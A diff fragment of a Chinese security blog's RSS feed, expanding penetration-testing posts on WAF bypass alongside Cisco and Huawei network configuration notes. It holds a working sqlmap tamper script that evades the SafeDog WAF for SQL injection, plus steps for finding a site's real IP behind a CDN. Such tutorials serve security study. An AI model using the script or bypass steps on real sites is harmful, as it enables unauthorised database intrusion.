src="https://images.payloads.online/d773335e-4f5e-11ec-ba40-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<h2 id="0x03-自动化bypass注入">0x03 自动化bypass注入</h2> +<p>我们通过编写sqlmap的tamper用于bypass,主要是需要定位各种拦截点,使用sqlmap替换Payload。</p> +<p>首先在sqlmap的tamper文件夹里创建一个safedog.py,编写我们的tamper脚本</p> +<p> + <img src="https://images.payloads.online/d7beadfc-4f5e-11ec-8261-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> lib.core.enums <span style="color:#f92672">import</span> PRIORITY +</span></span><span style="display:flex;"><span>__priority__ <span style="color:#f92672">=</span> PRIORITY<span style="color:#f92672">.</span>LOW +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">tamper</span>(payload): +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> payload: +</span></span><span style="display:flex;"><span> bypass_SafeDog_str <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/*x^x*/&#34;</span> +</span></span><span style="display:flex;"><span> payload<span style="color:#f92672">=</span>payload<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;UNION&#34;</span>,bypass_SafeDog_str<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;UNION&#34;</span><span style="color:#f92672">+</span>bypass_SafeDog_str) +</span></span><span style="display:flex;"><span> payload<span style="color:#f92672">=</span>payload<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;SELECT&#34;</span>,bypass_SafeDog_str<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;SELECT&#34;</span><span style="color:#f92672">+</span>bypass_SafeDog_str) +</span></span><span style="display:flex;"><span> payload<span style="color:#f92672">=</span>payload<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;AND&#34;</span>,bypass_SafeDog_str<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;AND&#34;</span><span style="color:#f92672">+</span>bypass_SafeDog_str) +</span></span><span style="display:flex;"><span> payload<span style="color:#f92672">=</span>payload<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;=&#34;</span>,bypass_SafeDog_str<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;=&#34;</span><span style="color:#f92672">+</span>bypass_SafeDog_str) +</span></span><span style="display:flex;"><span> payload<span style="color:#f92672">=</span>payload<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34; &#34;</span>,bypass_SafeDog_str) +</span></span><span style="display:flex;"><span> payload<span style="color:#f92672">=</span>payload<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;information_schema.&#34;</span>,<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">%20%</span><span style="color:#e6db74">20/*!</span><span style="color:#e6db74">%20%</span><span style="color:#e6db74">20</span><span style="color:#e6db74">%20%</span><span style="color:#e6db74">20INFOrMATION_SCHEMa</span><span style="color:#e6db74">%20%</span><span style="color:#e6db74">20</span><span style="color:#e6db74">%20%</span><span style="color:#e6db74">20*/</span><span style="color:#e6db74">%20%</span><span style="color:#e6db74">20/*^x^^x^*/%20/*!.*/%20/*^x^^x^*/&#34;</span>) +</span></span><span style="display:flex;"><span> payload<span style="color:#f92672">=</span>payload<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;FROM&#34;</span>,bypass_SafeDog_str<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;FROM&#34;</span><span style="color:#f92672">+</span>bypass_SafeDog_str) +</span></span><span style="display:flex;"><span> <span style="color:#75715e">#print &#34;[+]THE PAYLOAD RUNNING...Bypass safe dog 4.0 apache version .&#34;</span> +</span></span><span style="display:flex;"><span> print payload +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> payload +</span></span></code></pre></td></tr></table> +</div> +</div><p>我们测试一下先不载入tamper脚本:</p>渗透测试中的Bypass技巧(二)https://payloads.online/archivers/2017-03-06/1/Mon, 06 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-06/1/<h2 id="0x01-http不同的请求方法污染">0x01 HTTP不同的请求方法污染</h2> <table> <thead> <tr> @@ -3837,7 +7642,83 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </tr> </tbody> </table> -<p>我们可以先看一个请求:</p>渗透测试中的Bypass技巧(一)https://payloads.online/archivers/2017-03-05/1/Sun, 05 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-05/1/<h2 id="0x00-前言">0x00 前言</h2> +<p>我们可以先看一个请求:</p> +<p> + <img src="https://images.payloads.online/d3ff0d6a-4f5e-11ec-add5-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<p>可见是一个GET请求,此服务器是一个Apache+PHP的环境。</p> +<p>假设服务器只拦截GET/POST请求,那么根据Apache服务器的特性,发送其他请求只要脚本接收的是GET参数,那么也是可以传递参数值的。</p> +<p>如图:</p> +<p> + <img src="https://images.payloads.online/d447e0a8-4f5e-11ec-bcb0-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<p>此知识点需要先知道各个Web服务器环境的特性,然后再针对特性去做测试。</p> +<h2 id="0x02-get与post的区别">0x02 GET与POST的区别</h2> +<p>Http定义了与服务器交互的不同方法,最基本的方法有4种,分别是GET,POST,PUT,DELETE。URL全称是资源描述符,我们可以这样认为:一个URL地址,它用于描述一个网络上的资源,而HTTP中的GET,POST,PUT,DELETE就对应着对这个资源的查,改,增,删4个操作。到这里,大家应该有个大概的了解了,GET一般用于获取/查询资源信息,而POST一般用于更新资源信息。</p> +<p>在网上已经有很多朋友写过了其问题的答案,但是对于WAF,我们就要转变角度去看了,第一点就是要看数据包的区别。</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> /sql/index2.php?id=2 <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> +</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">192.168.1.102</span> +</span></span><span style="display:flex;"><span>User-Agent<span style="color:#f92672">:</span> <span style="color:#ae81ff">Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0</span> +</span></span><span style="display:flex;"><span>Accept<span style="color:#f92672">:</span> <span style="color:#ae81ff">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span> +</span></span><span style="display:flex;"><span>Accept-Language<span style="color:#f92672">:</span> <span style="color:#ae81ff">zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span> +</span></span><span style="display:flex;"><span>Accept-Encoding<span style="color:#f92672">:</span> <span style="color:#ae81ff">gzip, deflate</span> +</span></span><span style="display:flex;"><span>Cookie<span style="color:#f92672">:</span> <span style="color:#ae81ff">yunsuo_session_verify=a89786c1a180124a6820b6387b85b693</span> +</span></span><span style="display:flex;"><span>Connection<span style="color:#f92672">:</span> <span style="color:#ae81ff">keep-alive</span> +</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests<span style="color:#f92672">:</span> <span style="color:#ae81ff">1</span> +</span></span><span style="display:flex;"><span>Cache-Control<span style="color:#f92672">:</span> <span style="color:#ae81ff">max-age=0</span> +</span></span></code></pre></td></tr></table> +</div> +</div><div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">POST</span> /sql/search.php <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> +</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">192.168.1.102</span> +</span></span><span style="display:flex;"><span>User-Agent<span style="color:#f92672">:</span> <span style="color:#ae81ff">Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0</span> +</span></span><span style="display:flex;"><span>Accept<span style="color:#f92672">:</span> <span style="color:#ae81ff">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span> +</span></span><span style="display:flex;"><span>Accept-Language<span style="color:#f92672">:</span> <span style="color:#ae81ff">zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span> +</span></span><span style="display:flex;"><span>Accept-Encoding<span style="color:#f92672">:</span> <span style="color:#ae81ff">gzip, deflate</span> +</span></span><span style="display:flex;"><span>Referer<span style="color:#f92672">:</span> <span style="color:#ae81ff">http://192.168.1.102/sql/search.php</span> +</span></span><span style="display:flex;"><span>Cookie<span style="color:#f92672">:</span> <span style="color:#ae81ff">yunsuo_session_verify=a89786c1a180124a6820b6387b85b693</span> +</span></span><span style="display:flex;"><span>Connection<span style="color:#f92672">:</span> <span style="color:#ae81ff">keep-alive</span> +</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests<span style="color:#f92672">:</span> <span style="color:#ae81ff">1</span> +</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">application/x-www-form-urlencoded</span> +</span></span><span style="display:flex;"><span>Content-Length<span style="color:#f92672">:</span> <span style="color:#ae81ff">10</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>keywords=t +</span></span></code></pre></td></tr></table> +</div> +</div><p>可见在请求的数据包中,POST比GET多了一个Content-Type: application/x-www-form-urlencoded</p>渗透测试中的Bypass技巧(一)https://payloads.online/archivers/2017-03-05/1/Sun, 05 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-05/1/<h2 id="0x00-前言">0x00 前言</h2> <p>许多朋友在渗透测试中因为遇到WAF而束手无策,本人应邀,与godkiller一同写下此文,希望能够对许多朋友的问题有所帮助。</p> <p>此系列一共分为五篇文章,分别如下:</p> <ul> @@ -3888,7 +7769,45 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>自动化Bypass</p> </li> <li> -<p>思考</p>思科路由https://payloads.online/archivers/2015-11-23/1/Mon, 23 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-23/1/<p>本文介绍一下思科设备的简单配置</p> +<p>思考</p> +</li> +</ol> +<ul> +<li>五、过滤/拦截规则不严谨</li> +</ul> +<ol> +<li> +<p>等价替换</p> +</li> +<li> +<p>大小写替换</p> +</li> +<li> +<p>不常用条件</p> +</li> +<li> +<p>特殊符号</p> +</li> +<li> +<p>编码</p> +</li> +<li> +<p>注释</p> +</li> +</ol> +<h2 id="0x01-cdn-waf绕过">0x01 CDN WAF绕过</h2> +<p>CDN的全称是Content Delivery Network,即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容,解决 Internet网络拥挤的状况,提高用户访问网站的响应速度。 &ndash;来源“百度”</p> +<p>目前CDN服务的功能是越来越多,安全性也越加强悍,用户的每个请求都会被发送到指定的CDN节点上,最后转发给真实站点。这个过程就好像加了一道关卡,这个关卡提供了缓存、加速、防御的特点。</p> +<p>在渗透测试中,如果遇到了CDN站点,几乎许多测试请求都会被CDN拦截,甚至多次请求后,会被加入黑名单。这个CDN节点属于云端WAF,如果将数据直接发送给真实站点,那么也就没有CDN的处理了,整个防御就没有任何作用。</p> +<p>那么下面我来带给大家几个方法来绕过云端WAF。首先我们必须要查询到目标站点的真实地址才可以,这里的真实地址就指的是真实IP。以下几个方法只是个人之见,如果有遗漏或者缺点,请在文章评论指出……</p> +<p>第一个,查询域名历史DNS解析,网上有很多站点都可以查询站点的历史DNS解析。假设我在本月10号,域名绑定的服务器IP是<code>199.199.199.***</code>,在下月15号更换了服务器的IP,那么这个<code>199.199.199.***</code>可能就会被直接记录在历史记录中。再根据历史记录进行判断当前IP是否是现在的网站真实服务器地址。</p> +<p>第二个,查看子域名解析地址是否和主域名的IP地址相近。一般再查询域名是否存在CDN的话,我们可以看响应头、或者看解析记录,里面大多都有关于云端CDN的字眼。当然提倡写脚本,Kali Linux中也有工具 ~</p> +<p>第三个,社工DNS 比较苛刻,需要拿到CDN那边的管理员权限开可以。</p> +<p>第四个,CDN节点分发缺陷,通过国外IP访问网站可能会出现真实IP,因为有的CDN服务商可能只做了国内节点,没做国外的,这样访问请求是直接被转发到真实服务器地址上。</p> +<p>那么下面来概述一下得到了绕过的条件如何进行绕过,假设服务器端的IP地址为121.121.1x1.1x1,管理员设置了CDN节点,经过上面的方法得到真实IP地址后,可以直接更改本地的hosts文件来直接将数据发送到网站服务器上。这里不再详细概述啦~</p> +<h2 id="0x02-白名单应用子域名">0x02 白名单应用(子域名)</h2> +<p>在有些时候,某些厂商的环境刚刚上线,用于调试项目,并没有直接将子域名添加至CDN节点,那么就有可能出现某些安全隐患,因为刚上线的项目都没有任何防御措施,如果当前项目与目标站点搭建在同一个服务器中,也会成为我们绕过WAF的有利条件。当然白名单应用不止一个上线项目,还有某些管理应用,例如:phpmyadmin,其操作完全不会被WAF拦截,当然应用过多,本人不才,只接触一些常见的,欢迎补充。</p> +<p>感谢大家的支持。</p>思科路由https://payloads.online/archivers/2015-11-23/1/Mon, 23 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-23/1/<p>本文介绍一下思科设备的简单配置</p> <p> <figure> <img src="https://images.payloads.online/d2ecd43e-4f5e-11ec-b24b-00d861bf4abb.png" alt="enter description here" class="figcaption-img"> @@ -3965,7 +7884,77 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">64 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">65 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">66 -</span></code></pr华为MSTP协议https://payloads.online/archivers/2015-11-20/6/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/6/<p>本文记录一下华为MSTP协议配置</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>Router5: +</span></span><span style="display:flex;"><span>Router&gt;en +</span></span><span style="display:flex;"><span>Router#conf t +</span></span><span style="display:flex;"><span>Router(config)#int FastEthernet 0/1 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.1.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#exit +</span></span><span style="display:flex;"><span>Router(config)#int se +</span></span><span style="display:flex;"><span>Router(config)#int serial 1/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.2.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int f0/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 192.168.1.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#exit +</span></span><span style="display:flex;"><span>Router(config)#route rip +</span></span><span style="display:flex;"><span>Router(config-router)#version 2 +</span></span><span style="display:flex;"><span>Router(config-router)#network 192.168.1.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.2.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.1.0 +</span></span><span style="display:flex;"><span>Router(config-router)# +</span></span><span style="display:flex;"><span>Router7: +</span></span><span style="display:flex;"><span>Router&gt; +</span></span><span style="display:flex;"><span>Router&gt;en +</span></span><span style="display:flex;"><span>Router#conf t +</span></span><span style="display:flex;"><span>Router(config)#int f0/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.1.2 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int s1/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.2.2 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int f0/1 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.3.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int s1/1 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.4.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#exit +</span></span><span style="display:flex;"><span>Router(config)#route rip +</span></span><span style="display:flex;"><span>Router(config-router)#version 2 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.1.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.2.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.3.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.4.0 +</span></span><span style="display:flex;"><span>Router(config-router)# +</span></span><span style="display:flex;"><span>Router9: +</span></span><span style="display:flex;"><span>Router&gt;en +</span></span><span style="display:flex;"><span>Router#conf t +</span></span><span style="display:flex;"><span>Router(config)#int f0/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.3.2 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int s1/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.4.2 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int f0/1 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 192.168.2.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#exit +</span></span><span style="display:flex;"><span>Router(config)#route rip +</span></span><span style="display:flex;"><span>Router(config-router)#version 2 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.3.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.4.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 192.168.2.0 +</span></span><span style="display:flex;"><span>Router(config-router)# +</span></span></code></pre></td></tr></table> +</div> +</div><p>通信测试:</p>华为MSTP协议https://payloads.online/archivers/2015-11-20/6/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/6/<p>本文记录一下华为MSTP协议配置</p> <ul> <li> <p>1.创建四个VLAN在四个交换机上,分别是 10 20 30 40。</p> @@ -4002,7 +7991,28 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span></span><span style="display:flex;"><span>&lt;Huawei&gt;sys </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>[Huawei]vlan batch 10 20 30 40 -</span></span></code></pr华为交换机MUX-VLANhttps://payloads.online/archivers/2015-11-20/5/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/5/<p>本文记录一下华为交换机MUX-VLAN配置</p> +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-分别设置trunk链路">0x02 分别设置trunk链路</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e 0/0/1 to e 0/0/2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port link-type trunk +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port trunk allow-pass vlan all +</span></span></code></pre></td></tr></table> +</div> +</div><p>说明:在每个交换机都要创建四个VLAN、并且都设置trunk链路</p>华为交换机MUX-VLANhttps://payloads.online/archivers/2015-11-20/5/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/5/<p>本文记录一下华为交换机MUX-VLAN配置</p> <p> <figure> <img src="https://images.payloads.online/d1b893a0-4f5e-11ec-b60d-00d861bf4abb.png" alt="enter description here" class="figcaption-img"> @@ -4094,7 +8104,93 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 